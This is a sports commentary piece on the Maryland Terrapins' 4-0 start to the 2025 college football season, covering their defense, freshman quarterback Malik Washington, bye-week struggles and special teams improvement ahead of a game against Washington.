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Beating Wisconsin was impressive, despite the Badgers looking like a shell of the teams they typically produce in Madison. Defensive coordinator Ted Monachino’s unit has shined so far this season, and currently rank 31st nationally in total defense. They lead the entire country in interceptions, and rank second in sacks. Freshman pass-rushers Sidney Stewart and Zahir Mathis have been unleashed off the edge, combining for 6.5 sacks through the team’s first four games. Seven different players have recorded interceptions, with sophomore cornerback La’Khi Roland being the only player with multiple picks. It was difficult to know what to expect from this group under a new coordinator, but the longtime NFL assistant coach has them playing extremely well thus far.

Freshman quarterback Malik Washington wasn’t perfect, but clearly wasn’t phased by his first Big Ten road test. He rarely put the ball into harm’s way, and made some very impressive down-field throws off of play-action. The arm strength he exhibits on throws across the field from the opposite hash is something that’s rarely seen from any college quarterback, particularly a true freshman. His confidence within offensive coordinator Pep Hamilton’s offense is improving each week, and he’s showing off the poise and maturity that the coaching staff has raved about from the moment he stepped foot on campus.

The Terrapins will enjoy a bye this week, the first of two they’ll have this year. Under Locksley, the team holds an embarrassing 0-7 record coming off of bye weeks. They typically look flat and unprepared during those games, which is simply inexcusable. Despite the perfect start to their season, they certainly have some things to work on particularly offensively. Third downs have been extremely poor for Hamilton’s unit, converting just 30.2% of them through their first four games. To go hand in hand with that, drops have been a major issue for Maryland’s pass-catchers. They’ve had a number of them in each game so far, including six against Wisconsin. An inability to sustain drives might fly against a certain level of opposition, but won’t result in many more wins if they don’t get things cleaned up.

Something that’s flying under the radar a bit is how much Maryland’s special teams unit has improved under new coordinator Andre Powell. They blocked two kicks against Wisconsin, and new kicker Sean O’Haire has missed just one kick so far this season. Junior punter Bryce McFerson has continued his excellence from last year, and currently ranks 19th nationally in yards per punt. In years past, it’s often been Maryland’s defense and/or special teams which has let them down later in the season. Both units will need to continue their solid play if the team is to make any sort of noise during the remainder of 2025.

At the end of the day, while a perfect 4-0 start to this season is likely better than most expected for this team, they’ve also been here before only to fall apart during the final two months. With a schedule that doesn’t include Ohio State, Penn State, or Oregon looming, they have the opportunity to flip the script and put together a solid year. Their next game against Washington will likely tell us a lot. If they can overcome their post-bye week woes and come up with a strong performance, perhaps that’s a sign of better things to come. But if they come out flat as in years past, many will fairly assume that this year is simply more of the same.

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